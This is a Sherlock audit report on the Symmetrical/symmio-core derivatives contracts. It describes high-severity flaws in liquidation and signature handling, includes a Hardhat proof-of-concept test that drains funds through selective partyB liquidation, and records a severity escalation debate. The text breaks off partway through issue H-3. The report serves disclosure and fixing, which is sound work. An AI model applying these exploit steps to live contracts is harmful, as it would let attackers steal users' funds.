SHERLOCK

SHERLOCK SECURITY REVIEW FOR

Prepared for:	Symmetrical
Prepared by:	Sherlock
Lead Security Expert:	xiaoming90
Dates Audited:	June 15 - July 3, 2023
Prepared on:	October 3, 2023

Introduction

Providing the framework for optimistic on-chain digital derivatives. Building P2P Bilateral OTC Infrastructure. Enabling next-gen on-chain perps, options & swaps.

Scope

Repository: SYMM-IO/symmio-core

Branch: main

Commit: 4a01b1934b98eb4ab714cee944e18204a4af8e16

For the detailed scope, see the contest details.

Findings

Each issue has an assigned severity:

- Medium issues are security vulnerabilities that may not be directly exploitable or may require certain conditions in order to be exploited. All major issues should be addressed.
- High issues are directly exploitable security vulnerabilities that need to be fixed.

Issues found

Medium	High
24	8

Security experts who found valid issues

panprog	Ch_301	ver0759
shaka	AkshaySrivastav	0xcrunch
xiaoming90	tvdung94	circlelooper
bin2chen	simon135	PokemonAuditSimulator
mstpr-brainbot	libratus	volodya
berndartmueller	nican0r	sinarette
nobody2018	Kose	josephdara
Yuki	Ruhum	0xmuxyz
cergyk	Juntao	pengun
rvierdiiev	kutugu	Lilyjjo

Jiamin	p0wd3r	Viktor_Cortess
0xChinedu	n1punp	ast3ros
bitsurfer	0xGoodess	mrpathfindr

Issue H-1: setSymbolsPrice() can use the priceSig from a long time ago

Source:
https://github.com/sherlock-audit/2023-06-symmetrical-judging/issues/113

Found by

Ruhum, berndartmueller, bin2chen, cergyk, kutugu, libratus, mstpr-brainbot, pengun, rvierdiiev, shaka, simon135, sinarette, xiaoming90

Summary

`setSymbolsPrice()` only restricts the maximum value of `priceSig.timestamp`, but not the minimum time This allows a malicious user to choose a malicious `priceSig` from a long time ago A malicious `priceSig.upnl` can seriously harm `partyB`

Vulnerability Detail

`setSymbolsPrice()` only restricts the maximum value of `priceSig.timestamp`, but not the minimum time

```
    function setSymbolsPrice(address partyA, PriceSig memory priceSig) internal {
        MAStorage.Layout storage maLayout = MAStorage.layout();
        AccountStorage.Layout storage accountLayout = AccountStorage.layout();
@>      LibMuon.verifyPrices(priceSig, partyA);
        require(
@>          priceSig.timestamp <=
                maLayout.liquidationTimestamp[partyA] +
 ↪  maLayout.liquidationTimeout,
            "LiquidationFacet: Expired signature"
        );
```

LibMuon.verifyPrices only check sign, without check the time range

```
function verifyPrices(PriceSig memory priceSig, address partyA) internal view {
    MuonStorage.Layout storage muonLayout = MuonStorage.layout();
    require(priceSig.prices.length == priceSig.symbolIds.length, "LibMuon:
 ↪  Invalid length");
    bytes32 hash = keccak256(
        abi.encodePacked(
            muonLayout.muonAppId,
            priceSig.reqId,
            address(this),
            partyA,
            priceSig.upnl,
            priceSig.totalUnrealizedLoss,
            priceSig.symbolIds,
            priceSig.prices,
            priceSig.timestamp,
            getChainId()
        )
    );
    verifyTSSAndGateway(hash, priceSig.sigs, priceSig.gatewaySignature);
}
```

In this case, a malicious user may pick any `priceSig` from a long time ago, and this `priceSig` may have a large negative `unpl`, leading to `LiquidationType.OVERDUE`, severely damaging `partyB`

We need to restrict `priceSig.timestamp` to be no smaller than `maLayout.liquidationTimestamp[partyA]` to avoid this problem

Impact

Maliciously choosing the illegal `PriceSig` thus may hurt others user

Code Snippet

https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/facets/liquidation/LiquidationFacetImpl.sol#L34-L44

Tool used

Manual Review

Recommendation

restrict `priceSig.timestamp` to be no smaller than `maLayout.liquidationTimestamp[partyA]`

```
    function setSymbolsPrice(address partyA, PriceSig memory priceSig) internal {
        MAStorage.Layout storage maLayout = MAStorage.layout();
        AccountStorage.Layout storage accountLayout = AccountStorage.layout();

        LibMuon.verifyPrices(priceSig, partyA);
        require(maLayout.liquidationStatus[partyA], "LiquidationFacet: PartyA is
↪   solvent");
        require(
            priceSig.timestamp <=
                maLayout.liquidationTimestamp[partyA] +
↪   maLayout.liquidationTimeout,
            "LiquidationFacet: Expired signature"
        );
+     require(priceSig.timestamp >=
↪  maLayout.liquidationTimestamp[partyA],"invald price timestamp");
```

Discussion

MoonKnightDev

Fixed code PR link: https://github.com/SYMM-IO/symmio-core/pull/22

Issue H-2: liquidatePositionsPartyB can be used by malicious liquidator to liquidate only select positions which artificially inflates partyA upnl and allows to steal funds

Source:
https://github.com/sherlock-audit/2023-06-symmetrical-judging/issues/160

Found by

panprog

Summary

Liquidating partyB is a 2-step process. First, liquidator calls `liquidatePartyB`, and then `liquidatePositionsPartyB` can be called 1 or more times, each call with an array of quotes (positions) to liquidate, until all positions are liquidated. However, after the 1st step but before the 2nd step finishes - partyA can still do anything (like deallocating funds) with upnl calculations using positions between partyA and liquidated partyB (muon app doesn't check for liquidation of active position's parties, and smart contract code also ignores this).

Malicious liquidator can liquidate only positions which are in a loss for the partyA (keeping positions which are in a profit for the same partyA), temporarily artificially inflating upnl for this partyA. This allows partyA to deallocate max funds available, effectively stealing them. After the partyB liquidation process finishes and all positions are liquidated, partyA goes into a very high bad debt.

Vulnerability Detail

`liquidatePartyB` sends all (or most of the) partyB's funds to partyA:

https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/facets/liquidation/LiquidationFacetImpl.sol#L294-L296

`liquidatePositionsPartyB` can be called by any liquidator with an array of quotes, so liquidator chooses which positions he will liquidate and which positions will remain active:

https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/facets/liquidation/LiquidationFacetImpl.sol#L331-L372

The liquidation process only finishes when all active partyB quotes/positions are liquidated, but until then, the first liquidator will have a choice of what quotes will remain active for a short time before next liquidator. During this time partyA will have incorrect upnl, because it will count some subset of positions, which can be chosen by liquidator.

While this bug mainly concerns muon app (which provides signed upnl for users), which is out of scope, the same logic flaw is also present in some parts of the smart contract code, such as closing positions. `requestToClosePosition` doesn't have any checks for either party liquidation status:

https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/facets/PartyA/PartyAFacetImpl.sol#L148-L191

`fillCloseRequest` doesn't have any checks for liquidation status either:

https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/facets/PartyB/PartyBFacetImpl.sol#L256-L293

There is also lack of liquidation check in the `liquidatePositionsPartyA`. This is the bug, which can be combined with this one to steal all protocol funds.

The following scenario is possible for malicious partyA to steal funds:

1. partyA opens LONG position with "good" partyB
2. At the same time, partyA opens 2 opposite (LONG and SHORT) positions with controlled partyB2 with minimally accepted allocated balance (with slightly different sizes, so that if price goes against partyA, partyB2 will be liquidatable)
3. When price goes against partyA (it has large loss in a position with partyB), partyB2 becomes liquidatable
4. partyA uses controlled liquidator to liquidate partyB2 and calls `liquidatePositionsPartyB` but only with `quoteId` of the LONG position (which is in a loss for partyA)
5. After that, partyA will have a very large profit from its SHORT position with partyB2, which will offset the loss from LONG position with partyB (LONG position with partyB2 is liquidated). partyA can deallocate it's full allocated balance, as the artificial unrealized profit allows to do this.
6. Any liquidator can finish liquidating partyB2, at this point partyA will go into bad debt, but since its allocated balance is 0, after partyA liquidation - partyB won't get anything and will lose all its profit. Effectively partyA has stolen funds from partyB.

It is also possible to just outright steal all funds from the protocol by using another bug (liquidation of partyA to inflate allocated balances of controlled partyB), but that's out of context of this bug.

Impact

Any partyA which is in a loss on any of its position, can exploit the bug to temporarily inflate upnl and deallocate all funds at the expense of the other party, which won't get the profit from partyA positions due to bad debt.

Combining it with the other bug allows to steal all protocol funds.

Code Snippet

Add this to any test, for example to `ClosePosition.behavior.ts`.

```
it("PartyA upnl boost off picky partyB position liquidation", async function () {
  const context: RunContext = this.context;

  this.user_allocated = decimal(1000);
  this.hedger_allocated = decimal(1000);
  this.hedger2_allocated = decimal(77);

  this.user = new User(this.context, this.context.signers.user);
  await this.user.setup();
  await this.user.setBalances(this.user_allocated, this.user_allocated,
↪   this.user_allocated);

  this.hedger = new Hedger(this.context, this.context.signers.hedger);
  await this.hedger.setup();
  await this.hedger.setBalances(this.hedger_allocated, this.hedger_allocated);

  this.hedger2 = new Hedger(this.context, this.context.signers.hedger2);
  await this.hedger2.setup();
  await this.hedger2.setBalances(this.hedger2_allocated, this.hedger2_allocated);

  this.liquidator = new User(this.context, this.context.signers.liquidator);
  await this.liquidator.setup();

  // open position (100 @ 10)
  await this.user.sendQuote(limitQuoteRequestBuilder().quantity(decimal(100)).pr⌋
↪   ice(decimal(10)).build());
  await this.hedger.lockQuote(1, 0, decimal(1));
  await this.hedger.openPosition(1, limitOpenRequestBuilder().filledAmount(decim⌋
↪   al(100)).openPrice(decimal(10)).price(decimal(10)).build());

  // open 2 opposite direction positions with user-controlled hedger to exploit
↪   them later
  // (positions with slightly different sizes so that at some point the hedger
↪   can be liquidated)
  await this.user.sendQuote(limitQuoteRequestBuilder()
    .quantity(decimal(190))
    .price(decimal(10))
    .cva(decimal(10)).lf(decimal(5)).mm(decimal(10))
    .build()
  );
  await this.hedger2.lockQuote(2, 0, decimal(2, 16));
  await this.hedger2.openPosition(2, limitOpenRequestBuilder().filledAmount(deci
mal(90)).openPrice(decimal(10)).price(decimal(10)).build());

  await this.user.sendQuote(limitQuoteRequestBuilder()
    .positionType(PositionType.SHORT)
    .quantity(decimal(200))
    .price(decimal(10))
    .cva(decimal(10)).lf(decimal(5)).mm(decimal(10))
    .build()
  );
  await this.hedger2.lockQuote(3, 0, decimal(2, 16));
  await this.hedger2.openPosition(3, limitOpenRequestBuilder().filledAmount(deci
mal(100)).openPrice(decimal(10)).price(decimal(10)).build());

  var info = await this.user.getBalanceInfo();
  console.log("partyA allocated: " + info.allocatedBalances / 1e18 + " locked: "
+ info.totalLocked/1e18 + " pendingLocked: " + info.totalPendingLocked /
1e18);
  var info = await this.hedger2.getBalanceInfo(this.user.getAddress());
  console.log("partyB allocated: " + info.allocatedBalances / 1e18 + " locked: "
+ info.totalLocked/1e18 + " pendingLocked: " + info.totalPendingLocked /
1e18);

  // price goes to 5, so user is in a loss of -500, a slight profit of +50 from
short position, but controlled hedger is in a -50 loss and
  // becomes liquidatable
  // user now exploits the bug by liquidating controlled hedger
  await context.liquidationFacet.connect(this.liquidator.signer).liquidatePartyB(
this.hedger2.signer.address,
this.user.signer.address,
await getDummySingleUpnlSig(decimal(-50)),
  );

  // liquidate only quote 2 (which is not profitable for the user)
  await context.liquidationFacet.connect(this.liquidator.signer).liquidatePositi
onsPartyB(
this.hedger2.signer.address,
this.user.signer.address,
await getDummyQuotesPriceSig([2], [5]),
  )

  var liquidated = await
context.viewFacet.isPartyBLiquidated(this.hedger2.signer.address,
this.user.signer.address);
  console.log("PartyB Liquidated: " + liquidated);

  var info = await this.user.getBalanceInfo();
```

```
console.log("partyA allocated: " + info.allocatedBalances / 1e18 + " locked: "
↪  + info.totalLocked/1e18 + " pendingLocked: " + info.totalPendingLocked /
↪  1e18);

var posCount = await
↪  this.context.viewFacet.partyAPositionsCount(this.user.getAddress());
console.log("PartyA positions count: " + posCount);
var openPositions = await this.context.viewFacet.getPartyAOpenPositions(
  this.user.getAddress(),
  0,
  posCount,
);

for (const pos of openPositions) {
  console.log("Position " + pos.id + ": type " + pos.positionType + ": " +
↪  pos.quantity/1e18 + " @ " + pos.openedPrice/1e18);
}

// deallocate max amount (upnl = -500 + 1000 = +500 for the user)
// since we're in a profit, even after deallocating everything available we
↪  still have funds available, but can't deallocate more,
// because allocated amount is already 0, and as it's unsigned, it can't go
↪  lower. This can be further exploited using another bug,
// but that's out of this bug context
await context.accountFacet.connect(this.user.signer).deallocate(decimal(1009),
↪  await getDummySingleUpnlSig(decimal(500)));

// finish liquidation of user controlled hedger, forcing user in a big bad debt
await context.liquidationFacet.connect(this.liquidator.signer).liquidatePositi ⌋
↪  onsPartyB(
  this.hedger2.signer.address,
  this.user.signer.address,
  await getDummyQuotesPriceSig([3], [5]),
)

var info = await this.user.getBalanceInfo();
console.log("partyA allocated: " + info.allocatedBalances / 1e18 + " locked: "
↪  + info.totalLocked/1e18 + " pendingLocked: " + info.totalPendingLocked /
↪  1e18);

var posCount = await
↪  this.context.viewFacet.partyAPositionsCount(this.user.getAddress());
console.log("PartyA positions count: " + posCount);
var openPositions = await this.context.viewFacet.getPartyAOpenPositions(
  this.user.getAddress(),
  0,
  posCount,
);
```

```
  for (const pos of openPositions) {
    console.log("Position " + pos.id + ": type " + pos.positionType + ": " +
↪   pos.quantity/1e18 + " @ " + pos.openedPrice/1e18);
  }

});
```

Tool used

Manual Review

Recommendation

There are different ways to fix this vulnerability and it depends on what the team is willing to do. I'd say the safest fix will be to introduce some `temporarily locked` status for the partyA, and when any partyB is liquidated, connected partyA is put in this temporary status, which is lifted after liquidation finishes, so that the user can't do anything while in this status. However, this is a lot of work and possible room for more bugs.

Another way is to add liquidation check to muon app and when calculating unrealized profit/loss - ignore any positions for which either party is in liquidated status. And also fix the smart contract code to include this check as well (for example, it's possible to close position with liquidated partyB - there are no checks that partyB is not liquidated anywhere). This is the easier way, but might create problems in the future, if further features or protocols building on top won't take this problem into account.

Discussion

hrishibhat

Considering this issue as medium since this requires malicious partyB and liquidator both which are whitelisted.

panprog

Escalate

This should be high, not medium.

1. The same bug can be used just by liquidator alone, 2 possible scenarios: 1.1. Since any user can be partyA, liquidator can also act as a partyA from a different address and open multiple positions with many partyBs and just wait until some of partyB becomes liquidatable (it is fair to assume that some of them can become liquidatable sooner or later). 1.2. Just when liquidating any

partyB, liquidator can choose to liquidate only positions which are in profit for corresponding partyA (which is solvent), keeping positions which are in a loss for partyA. This will create temporary artificial loss for partyA and it can become liquidatable, so liquidator will then liquidate partyA. In this case, liquidator will get liquidation fees both for partyB and partyA, partyA will be unfairly liquidated, even though it was solvent.

2. Liquidator is **not trusted**, refer to contest Q&A:

   > Are there any additional protocol roles? If yes, please explain in detail: MUON_SETTER_ROLE: Can change settings of the Muon Oracle. SYMBOL_MANAGER_ROLE: Can add, edit, and remove markets, as well as change market settings like fees and minimum acceptable position size. PAUSER_ROLE: Can pause all system operations. UNPAUSER_ROLE: Can unpause all system operations. PARTY_B_MANAGER_ROLE: Can add new partyBs to the system. LIQUIDATOR_ROLE: Can liquidate users. SETTER_ROLE: Can change main system settings. Note: All roles are trusted except for LIQUIDATOR_ROLE.

3. Liquidator role is supposed to be easy to get, even if it might require some funds deposit (which can't be very large as expected damage from malicious liquidators shouldn't be too big), but liquidator can get a lot more profit from this bug, so it can forfeit its deposit. Refer to this comment:

   > In the current system setup, we have established a role for liquidators. To give them this role, we might require an external contract in which they are obliged to lock a certain amount of money. This serves as a guarantee against any potential system sabotage or incomplete liquidation they may commit. If they fail to fulfill their role appropriately, they would face penalties.

4. PartyB is expected to be easy to get for any user later on, even though it's currently only for select users. Refer to discord reply:

   > ideally anyone can become a PartyB, but it also requires you to stream your quotes to a frontend (so users can see them, and frontends can create a payload for the user to send it onchain), and be able to accept trades when they come in.
   >
   > so it definitely requires some software architecture, we will provide examples for this in combination with the SDK probably in Q4 to open up the process and make it semi-permissionless
   >
   > until then integrations are with selected players and MarketMakers

As described above, both liquidator and partyB roles will be easy to get, so the scenario described is easy to achieve and the profit from the bug exceeds any possible deposits required to obtain these roles.

But even if we disregard partyB control, it's still possible for liquidator to abuse this bug alone as described in point 1. And as liquidator is **not trusted**, it can easily behave maliciously and earn a profit from this bug.

As such, this should be high.

sherlock-admin2

> Escalate
>
> This should be high, not medium.
>
> 1. The same bug can be used just by liquidator alone, 2 possible scenarios: 1.1. Since any user can be partyA, liquidator can also act as a partyA from a different address and open multiple positions with many partyBs and just wait until some of partyB becomes liquidatable (it is fair to assume that some of them can become liquidatable sooner or later). 1.2. Just when liquidating any partyB, liquidator can choose to liquidate only positions which are in profit for corresponding partyA (which is solvent), keeping positions which are in a loss for partyA. This will create temporary artificial loss for partyA and it can become liquidatable, so liquidator will then liquidate partyA. In this case, liquidator will get liquidation fees both for partyB and partyA, partyA will be unfairly liquidated, even though it was solvent.
> 2. Liquidator is **not trusted**, refer to contest Q&A:
>
>   Are there any additional protocol roles? If yes, please explain in detail: MUON_SETTER_ROLE: Can change settings of the Muon Oracle. SYMBOL_MANAGER_ROLE: Can add, edit, and remove markets, as well as change market settings like fees and minimum acceptable position size. PAUSER_ROLE: Can pause all system operations. UNPAUSER_ROLE: Can unpause all system operations. PARTY_B_MANAGER_ROLE: Can add new partyBs to the system. LIQUIDATOR_ROLE: Can liquidate users. SETTER_ROLE: Can change main system settings. Note: All roles are trusted except for LIQUIDATOR_ROLE.
> 3. Liquidator role is supposed to be easy to get, even if it might require some funds deposit (which can't be very large as expected damage from malicious liquidators shouldn't be too big), but liquidator can get a lot more profit from this bug, so it can forfeit its deposit. Refer to this comment:
>
>   In the current system setup, we have established a role for liquidators. To give them this role, we might require an external contract in which they are obliged to lock a certain amount of money. This serves as a guarantee against any potential system sabotage or incomplete liquidation they may commit. If they fail

to fulfill their role appropriately, they would face penalties.

4. PartyB is expected to be easy to get for any user later on, even though it's currently only for select users. Refer to discord reply:

   ideally anyone can become a PartyB, but it also requires you to stream your quotes to a frontend (so users can see them, and frontends can create a payload for the user to send it onchain), and be able to accept trades when they come in.

   so it definitely requires some software architecture, we will provide examples for this in combination with the SDK probably in Q4 to open up the process and make it semi-permissionless

   until then integrations are with selected players and MarketMakers

As described above, both liquidator and partyB roles will be easy to get, so the scenario described is easy to achieve and the profit from the bug exceeds any possible deposits required to obtain these roles.

But even if we disregard partyB control, it's still possible for liquidator to abuse this bug alone as described in point 1. And as liquidator is **not trusted**, it can easily behave maliciously and earn a profit from this bug.

As such, this should be high.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

xiaoming9090

Escalate

To carry out the attack mentioned in the report, the malicious user needs to gain control of all three (3) roles, which are PartyA, PartyB, and Liquidator roles, to carry out the attack. There are several measures present within the protocol that make such an event unlikely.

PartyB (Hedger) and Liquidator roles are in fact not easy to obtain from the protocol, and they cannot be attained without explicit authorization from the protocol team. It will only be considered easy to obtain if they are permissionless, where anyone/anon could register to become a PartyB or Liquidator without being reviewed/vetted by the protocol team.

PartyB and Liquidator roles must be explicitly granted by the protocol team via the `registerPartyB` function and the `grantRole` function, respectively.

In the current system, to become a PartyB, the Hedgers must be known entities such as market makers with a reputation and identifiable founders, etc, and not open to the general public. Those hedgers/entities have a lot at stake if they engage in malicious actions, which include facing legal consequences.

The liquidator role is also not open to the general public, and the protocol would vet/review them before granting this role. Approved Liquidators are further required to lock in a certain amount of money, serving as a guarantee against any potential system sabotage.

Lastly, it's worth noting that in a real-world context, PartyB and Liquidator roles are typically held by distinct entities. Hence, some degree of collusion - another layer of complexity - would be necessary for the attack to be successful.

Given the controls in place and the several preconditions required for such an issue to occur, this issue should be considered of Medium severity.

sherlock-admin2

> Escalate
>
> To carry out the attack mentioned in the report, the malicious user needs to gain control of all three (3) roles, which are PartyA, PartyB, and Liquidator roles, to carry out the attack. There are several measures present within the protocol that make such an event unlikely.
>
> PartyB (Hedger) and Liquidator roles are in fact not easy to obtain from the protocol, and they cannot be attained without explicit authorization from the protocol team. It will only be considered easy to obtain if they are permissionless, where anyone/anon could register to become a PartyB or Liquidator without being reviewed/vetted by the protocol team.
>
> PartyB and Liquidator roles must be explicitly granted by the protocol team via the `registerPartyB` function and the `grantRole` function, respectively.
>
> In the current system, to become a PartyB, the Hedgers must be known entities such as market makers with a reputation and identifiable founders, etc, and not open to the general public. Those hedgers/entities have a lot at stake if they engage in malicious actions, which include facing legal consequences.
>
> The liquidator role is also not open to the general public, and the protocol would vet/review them before granting this role. Approved Liquidators are further required to lock in a certain amount of money, serving as a guarantee against any potential system sabotage.
>
> Lastly, it's worth noting that in a real-world context, PartyB and Liquidator roles are typically held by distinct entities. Hence, some

> degree of collusion - another layer of complexity - would be necessary for the attack to be successful.
>
> Given the controls in place and the several preconditions required for such an issue to occur, this issue should be considered of Medium severity.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

ctf-sec

https://github.com/sherlock-audit/2023-06-symmetrical-judging/issues/189#issuecomment-1653455976

CodingNameKiki

#189 (another comment)

sinarette

BTW It is wrong that `requestToClosePosition` or `fillCloseRequest` lacks check of liquidation status, they are internal functions and are called from external functions which has a `notLiquidated(quoteId)` check. https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/facets/PartyA/PartyAFacet.sol#L92 https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/facets/PartyB/PartyBFacet.sol#L197

panprog

> BTW It is wrong that `requestToClosePosition` or `fillCloseRequest` lacks check of liquidation status, they are internal functions and are called from external functions which has a `notLiquidated(quoteId)` check.

Agree, great catch, I've missed that notLiquidated modifier checks both parties besides quote itself. This doesn't affect the bug report much though, I just mentioned these 2 functions as the other potential vulnerability points (I didn't come up with similar impact exploit for them), but the main points, exploit scenario and proof of concept remain valid.

panprog

To add on to why this is high:

It is possible to exploit the same bug with just the partyA, no additional roles needed. Just any time partyA is in a profit with any partyB and that partyB is liquidated, but before the quote is liquidated (partyA has to backrun `liquidatePartyB` or frontrun `liquidatePositionsPartyB`):

1. partyA `allocatedBalance` is increased by `allocatedBalance` of partyB which is liquidated (and since that position is in a profit for partyA, this means partyA's balance is increased by the profit from this position):

https://github.com/sherlock-audit/2023-06-symmetrical/blob/6d2b64b6732fcfbd07c8217897dd233dbb6cd1f5/symmio-core/contracts/facets/liquidation/LiquidationFacetImpl.sol#L294-L296

2. At this point (after `liquidatePartyB` but before `liquidatePositionsPartyB`) profit from the position which is being liquidated is counted twice (partyA's `allocatedBalance` is already increment by the profit value, but unrealized pnl is still the same as it still counts this profitable position).
3. User deallocates max amount possible, which is currently inflated by the double profit of the position being liquidated.

That's it, user has stolen the inflated double profit from the position. Note: this is exactly the same scenario as described in this bug report, except it doesn't need opposite positions with the same partyB and doesn't need liquidator to liquidate select positions. But the core reason is still the same, I just show how to use the same bug without needing any whitelisted roles.

Updated proof of concept here

panprog

To address the concerns of @sinarette from discord about being able to mitigate this issue off-chain: the core reason of this issue is that partyA doesn't know if any of it's counterpartyB is in process of liquidation, and as such multiple functions for such partyA are allowed, while some of it's counterparties is still being liquidated. The main function which this bug report uses is deallocate: it's possible to deallocate funds for partyA while its counterpartyB is being liquidated.

I chain this bug with the muon app bug (which calculates all quotes from partyA into its unrealized pnl, even quotes with liquidated partyB) to demonstrate real impact of stealing significant amount due to this bug. Even though muon app bug is out of scope, I believe the combination of in-scope bug and out-of-scope bug to demonstrate impact is valid.

However, it is possible to replace muon app bug with a different bug (`liquidatePartyB` function not increasing partyA nonce) and instead just get a valid upnl signature for partyA before `liquidatePartyB` is called, and then use this signature to deallocate with outdated upnl which was before the liquidation. This is also demonstrated in the updated proof of concept in previous comment. Currently both methods actually yield the same signature due to a bug in muon app. But if the bug in muon app is fixed, then the method with using the signature from before liquidation will still work, so everything is in-scope.

To fix this bug - I suggest to add special state to partyA, when any of its partyB is liquidated (for example, this can be not state, but number of partyB liquidations currently active) and require to have no partyB liquidations for all partyA functions. So the fix is not via offchain muon app, but via the smart contract fix.

sinarette

I got the point; I think the issue can be easily mitigated through nonce incrementation in liquidation functionalities. Also the same solution could be applied to #189 I guess, this could be the essential underlying problem in both issues.

panprog

> I got the point; I think the issue can be easily mitigated through nonce incrementation in liquidation functionalities. Also the same solution could be applied to #189 I guess, this could be the essential underlying problem in both issues.

Not really. If nonce is incremented in liquidation functions, then muon app bug still allows to use this bug. If muon app bug is fixed, liquidation after liquidation is still possible. If all of these are fixed, some other potentially obscure issue (or something added in the future) might still arise. The core problem is that during liquidation (until it's finished) some internal accounting is out of sync and any functionality that relies on this internal state can cause different issues.

The way I see it: liquidation nonce increase bug in isolation doesn't cause issues, but different other functionality cause issues when combined with it. The bug described in this report doesn't cause issues in isolation, but different other functionality causes issues when combined with it as well. So it's not like this bug happens *because of* liquidation nonce increase bug, it's a separate bug which might cause harm even when the liquidation nonce bug is fixed.

Also, this bug is different from #189 because there is currently no way for partyA to know if any other partyB it has positions with is in liquidation state, so the problem and fix is to make it possible for partyA to know about it and stop its functions when any partyB is in liquidation process. The fix for #189 is to simply stop some functions when partyA is liquidated, which is already available and is already used in the other functions, but just not in a few important ones.

sinarette

What I want to say is, the muon app's upnl calculation (excluding liquidated positions) can be easily mitigated off-chain and not the concern of this audit. If the signature is correctly calculated and by ensuring that the signature cannot be reused (which is currently enabled due to absence of nonce incrementation in liquidation functionalities), the accounting can work well as expected, since the actual accounting of the entire protocol relies on off-chain calculation - the muon signature. As most of the functions are protected through notLiquidated modifiers, the only edge case is when partyB is liquidated and the corresponding partyA tries to do something with its assets.

panprog

This doesn't make this report not a bug: similar functions of partyB are protected (and some should be protected) with both `notLiquidatedPartyA` and `notLiquidatedPartyB`, but the same functions of partyA are only protected with `notLiquidatedPartyA` (and this is only because partyA has multiple parties B, but it should be similarly protected, just there is currently no way for partyA to know status of all its parties B, which is the core reason of this report).

I maintain the view that it's not safe to allow partyA actions while some partyB's liquidation is not finished: muon app and signature reuse are just 2 issues we have identified which can be combined with this bug to cause harm, there is also possibility to start partyA liquidation process while partyB is liquidated and there might be the other issues we just didn't find or some issues might be introduced in the future due to absence of such protection while the accounting is out of sync.

With this report I have demonstrated:

1. This is a valid issue on its own
2. The **current** impact is critical (allows to steal protocol funds)

So this should be a valid high. The fact that fixing muon app and signatures reuse might remove the critical impact is irrelevant. The bug will still stay, maybe the impact will become low, but in the current state it is critical.

securitygrid

> However, it is possible to replace muon app bug with a different bug (liquidatePartyB function not increasing partyA nonce) and instead just get a valid upnl signature for partyA before liquidatePartyB is called, and then use this signature to deallocate with outdated upnl which was before the liquidation. This is also demonstrated in the updated proof of concept in previous comment. Currently both methods actually yield the same signature due to a bug in muon app. But if the bug in muon app is fixed, then the method with using the signature from before liquidation will still work, so everything is in-scope.

The `upnlSig` of `liquidatePartyB` is verified by `LibMuon.verifyPartyBUpnl`, which is the signature containing the addresses of partyB and partyA. The `upnlSig` of `AccountFacetImpl.deallocate` is verified by `LibMuon.verifyPartyAUpnl`, which is the signature only containing the partyA's address. The hash is different, how to use it to attack? Using the `upnlSig` of `liquidatePartyB` to call `AccountFacetImpl.deallocate` will revert due to signature error.

panprog

> The `upnlSig` of `liquidatePartyB` is verified by `LibMuon.verifyPartyBUpnl`, which is the signature containing the addresses of partyB and partyA. The `upnlSig` of `AccountFacetImpl.deallocate` is verified by `LibMuon.verifyPartyAUpnl`, which is the signature only containing the partyA's address. The hash is different, how to use it to attack? Using

> the `upnlSig` of `liquidatePartyB` to call `AccountFacetImpl.deallocate` will revert due to signature error.

You just request and save the signature(s) you need **before** the liquidation (with the values you need) and use it **after** the liquidation, when it's still valid due to nonces not increasing.

panprog

I want to add here, that #189 was resolved as Medium, which I now agree with since it requires whitelisted roles. But this issue doesn't require any whitelisted roles: while the report shows scenario and proof of concept with the liquidator role, I didn't think that usage of these role impacts severity and wanted to demonstrate the max impact. The same scenario and POC without liquidator nor partyB roles required is shown in the comments above, so this should be a valid high.

securitygrid

The root cause is that the liquidated quote is recalculated into upnl

panprog

> The root cause is that the liquidated quote is recalculated into upnl

While the scenario and POC uses this to demonstrate impact, this is not the root cause. I can come up with at least 2 other different scenarios to steal funds due to this bug.

The root cause is that partyA actions are allowed while any of its partyBs is in process of liquidation. So yes, at this time the accounting is incorrect (liquidated quotes still calculating into upnl by muon app is only 1 example of it) and that's why partyA shouldn't be allowed any actions. And there are multiple ways to combine the other bugs to abuse this issue to steal funds.

hrishibhat

Result: High Unique After further reviewing all the comments, and confirming with the Sposnor, agree with the comment here that this attack also possible with only partyA, considering this issue a valid high

sherlock-admin2

Escalations have been resolved successfully!

Escalation status:

- panprog: accepted
- xiaoming9090: rejected

Navid-Fkh

There won't be any changes made to the contract regarding this issue. However, the Muon app will be updated to account for the state of partyB when calculating the UPNL of partyA. Specifically, if partyB lacks sufficient funds to fully compensate the user due to their liquidation, this will be reflected in the UPNL calculation within the Muon app.

To put it simply, let's consider an illustration with only one hedger for the sake of simplicity: UPNL of partyA = min(Hedger remaining allocated, Users UPNL)

Issue H-3: PartyA and PartyB nonce is not incremented in any of the liquidation functions which can lead to all protocol funds being stolen in some cases

Source:
https://github.com/sherlock-audit/2023-06-symmetrical-judging/issues/190

Found by

bin2chen, cergyk, mstpr-brainbot, panprog, rvierdiiev, shaka, ver0759, xiaoming90

Summary

Nonce for neither partyA nor partyB is increased in any of the `LiquidationFacetImpl` functions. However, some functions definitely influence party's upnl, so they must force to use a new signature, after the liquidation action. In particular, `liquidatePositionsPartyA` function changes partyB's `allocatedBalances` and upnl, which means that partyB must be forced to use a new signature (otherwise it can use old upnl signature with new allocatedBalance, making it possible to steal all funds from the protocol):

https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/facets/liquidation/LiquidationFacetImpl.sol#L169-L173

https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/facets/liquidation/LiquidationFacetImpl.sol#L181-L185

https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/facets/liquidation/LiquidationFacetImpl.sol#L189-L196

The same is also true for the `liquidatePartyB` function, which modifies partyA balance:

https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/facets/liquidation/LiquidationFacetImpl.sol#L294-L296

Vulnerability Detail

All liquidation functions do not change nonce of parties, however some of them change allocatedBalances, delete positions or otherwise modify the state of the parties, which requires a nonce update to force use a new signature. While many actions specifically test for liquidation status, which might be the reason why the nonce is not updated currently. However, there are still actions which ignore liquidation status and in the future there might be more functions which somehow use this changed state even during liquidation status, so the nonce update is nonetheless required when changing state during liquidation.

